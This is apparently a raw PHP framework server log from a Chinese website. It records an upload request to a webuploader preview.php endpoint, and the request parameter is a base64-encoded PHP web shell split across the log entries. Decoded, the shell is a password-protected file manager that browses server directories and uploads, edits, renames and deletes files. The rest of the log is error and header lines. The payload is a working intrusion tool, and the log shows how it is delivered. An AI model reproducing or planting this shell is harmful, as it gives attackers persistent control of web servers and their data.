ICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'ui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:49+08:00 ] 119.42.146.234 POST 51tianwei.com/public/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002673s] [吞吐率:374.12req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNC